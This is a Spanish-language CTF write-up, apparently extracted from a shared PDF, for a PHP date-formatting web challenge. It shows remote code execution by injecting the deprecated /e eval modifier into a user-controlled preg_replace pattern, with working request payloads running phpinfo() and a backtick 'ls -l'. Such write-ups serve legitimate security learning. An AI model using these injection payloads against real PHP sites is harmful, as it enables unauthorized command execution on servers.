Vous êtes sur la page 1sur 10

WriteUp Reto 6 by Drk0wn Team Whoami {No system is Safe}

RETO 6 by Drk0wn
DATE FORMAT CON EXPRESIONES REGULARES

Writen by Elix a.k.a Drk0wn

El siguiente write-up es del reto (Web Hacking) propuesto para Team Whoami que
amablemente se le denomin Reto 6 (gracias Matias), agradecer a los integrantes que
participaron del mismo y a su vez felicitarlos.

Los integrantes que lograron pasarlo satisfactoriamente:

1. Lugar - H4ckzu5

2. Lugar - Tixer

0x01. Descripcin
Se trata de una aplicacin en PHP llamado Date Format, una sencilla aplicacin para
cambiar el formato de la fecha a travs de expresiones regulares (RegExp).

La pgina del reto tiene la siguiente pinta :P

0x02. Anlisis
En la web podemos ingresar una fecha cualquiera en Date segn el tipo de formato
Input Format, pudiendo establecer el formato de salida Output Format que
queramos.

Para entender mejor la aplicacin veamos el cdigo fuente

Writed by Elix a.k.a Drk0wn 1


WriteUp Reto 6 by Drk0wn Team Whoami {No system is Safe}

En el cdigo fuente podemos ver las expresiones regulares ;) fjense en la lnea 36 y


lnea 42

S tomamos la lnea 36

name="regexp" id="regexp1" value="/^(\d{2})\/(\d{2})\/(\d{4})$/"

Lo que nos interesa es el value y el valor que contiene.

Para comprender mejor esos caracteres consultaremos el siguiente enlace:

https://www.tutorialspoint.com/php/php_regular_expression.htm

0x02-1. Comprendiendo el Regex


Pues bien, el regex evala lo ingresado en Date

S vemos en Input Format DD/MM/YYYY (primera opcin del radio button), la expresin
regular (Regex) hace una bsqueda por ese patrn, para luego hacer la sustitucin
segn la opcin seleccionada en Output Format.

Entonces, /^(\d{2})\/(\d{2})\/(\d{4})$/ para comenzar tenemos 3 grupos (color verde) el


parntesis lo determina, \d significa digito {2} indica que debe haber 2 dgitos, entre cada
grupo podemos observar \/ la barra invertida permite dejar pasar la barra que divide
cada grupo o digito quedando 01/01/2000.

S buscamos regex php en google http://php.net/manual/es/function.preg-replace.php,


desde el cual sacamos los parmetros que requiere la funcin preg_replace.

preg_replace($patrn, $sustitucin, $cadena);

Si establecemos los valores de preg_replace a los de la web del reto tendramos:

Writed by Elix a.k.a Drk0wn 2


WriteUp Reto 6 by Drk0wn Team Whoami {No system is Safe}


$cadena=01/12/1990

$patron=/^(\d{2})\/(\d{2})\/(\d{4})$/;

$sustitucion=\1/\2/\3;

preg_replace($patron, $sustitucion, $cadena);


El cdigo hace lo siguiente: $patron realiza una bsqueda de coincidencia en $cadena
que es el que contiene nuestro formato de fecha, y luego realiza una sustitucin.

Si por ejemplo ingresamos 01/02/1990 en Date tendremos como salida 01/02/1990.

0x02-2. RCE con Regex


Ahora hagamos una bsqueda en Google por RCE con regex para ver si encontramos
algo que podamos usar como vector de ataque y nos lleve a ejecutar cdigo arbitrario.

http://www.madirish.net/402

En la web citada podemos ver ejemplos muy prcticos para llevar a cabo una ejecucin
remota de cdigo, pero para ellos tenemos que tener ciertas condiciones:

Poder manipular al menos dos de los tres parmetros necesarios.


Poder colocar el modificador e

Por ejemplo veamos el siguiente cdigo

Para poder observar los parmetros de la web, podemos hacer uso de algunas
herramientas y addons de navegadores, personalmente prefiero usar burpsuite.

Writed by Elix a.k.a Drk0wn 3


WriteUp Reto 6 by Drk0wn Team Whoami {No system is Safe}

Seteando BurpSuite

Vamos a la pestaa proxy, luego a la opcin intercept is on

En nuestro navegador solo tenemos que configurar el proxy a 127.0.0.1 y puerto 8080

Ya tenemos listo nuestra herramienta, ahora empecemos a interceptar, mandemos algo


en date

Writed by Elix a.k.a Drk0wn 4


WriteUp Reto 6 by Drk0wn Team Whoami {No system is Safe}

Y lo que vemos en BurpSuite es lo siguiente

All podemos observar los parmetros y sus respectivos valores

date=01%2F01%2F1999&regexp=%2F%5E%28%5Cd%7B2%7D%29%5C%2F%28%5Cd%7B2%7D%29%5C%2F%28%5
Cd%7B4%7D%29%24%2F&format=%5C1%2F%5C2%2F%5C3

Para empezar hacer pruebas con la web a travs de burpsuite necesitamos ir al modo
repeater de la herramienta, para ello damos clic en Action y luego send to Repeater
desactivando el intercept is on

Writed by Elix a.k.a Drk0wn 5


WriteUp Reto 6 by Drk0wn Team Whoami {No system is Safe}

Ahora s empecemos a jugar con la web. En la parte inferior podemos ver los parmetros
que enva la web, date, regexp, format

0x03. Exploiting
Ahora viene la parte ms importante, hacer pruebas y lograr ejecutar cdigo
remotamente, para ello es necesario identificar cada uno de los parmetros de
preg_replace y los de la web, desde all ver el comportamiento de nuestro objetivo.

Veamos el cdigo que permitir la magia ;)

Nosotros tenemos

Ahora toca identificar cada uno de los parmetros

Date= es la cadena

Regexp= es el patrn de bsqueda

Format= la sustitucin

Nuestra PoC tiene que quedar de esta forma:

preg_replace($regexp, $format, $date);

0.0x3-1. Probando la vulnerabilidad


Juguemos un poco con los parmetros ingresando lo siguiente.

Writed by Elix a.k.a Drk0wn 6


WriteUp Reto 6 by Drk0wn Team Whoami {No system is Safe}

En request ponemos

date=phpinfo()&regexp=/^(.*)/&format=system(\\1)

Y en modo RAW del Response vemos

Esto indica que la sustitucin se ha dado, sin embargo no logramos ejecutar cdigo
remoto.

Si revisamos una vez ms la documentacin de madrish, nos habla de un modificador


que podemos utilizar y as lograr la ejecucin de comando, estamos hablando del
modificador e (eval) est algo obsoleto pero veamos si en este caso sirve.

Reajustamos los parmetros de la web de la siguiente forma

date=phpinfo()&regexp=/^(.*)/e&format=system(\\1)

Vemos lo siguiente

Writed by Elix a.k.a Drk0wn 7


WriteUp Reto 6 by Drk0wn Team Whoami {No system is Safe}

Ha ocurrido un error interno, esto indica que no hemos cumplido nuestro objetivo.

El error se debe a que la funcin system del parmetro format est de ms, una vez
ms cambiamos los parmetros.

date=phpinfo()&regexp=/^(.*)/e&format=\1

Y vemos lo siguiente

Si vamos al modo Render de Response vemos

Ahora s!! ya logramos ejecutar cdigo remoto, lo siguiente que haremos es pedir un
listado del directorio actual.

Writed by Elix a.k.a Drk0wn 8


WriteUp Reto 6 by Drk0wn Team Whoami {No system is Safe}

date=ls l&regexp=/^(.*)/e&format=\1

Y vemos, una vez ms no tenemos respuesta

Vamos otra vez a la web de madirish

Los que vemos en la variable $string y dentro de las comillas es un comando Linux entre
backstick operator

(http://php.net/manual/es/language.operators.execution.php).

Bien hagamos una prueba ms, pero esta vez con operador backstick tal como en el
ejemplo

date=`ls l`&regexp=/^(.*)/e&format=\1

Bien ya cumplimos con nuestro objetivo ;)

Writed by Elix a.k.a Drk0wn 9


WriteUp Reto 6 by Drk0wn Team Whoami {No system is Safe}

Bueno hasta aqu llegamos, ya terminar con el reto es cosa fcil, lo difcil fue encontrar
la forma de ejecutar cdigo de manera remota.

Writed by Elix a.k.a Drk0wn 10

Vous aimerez peut-être aussi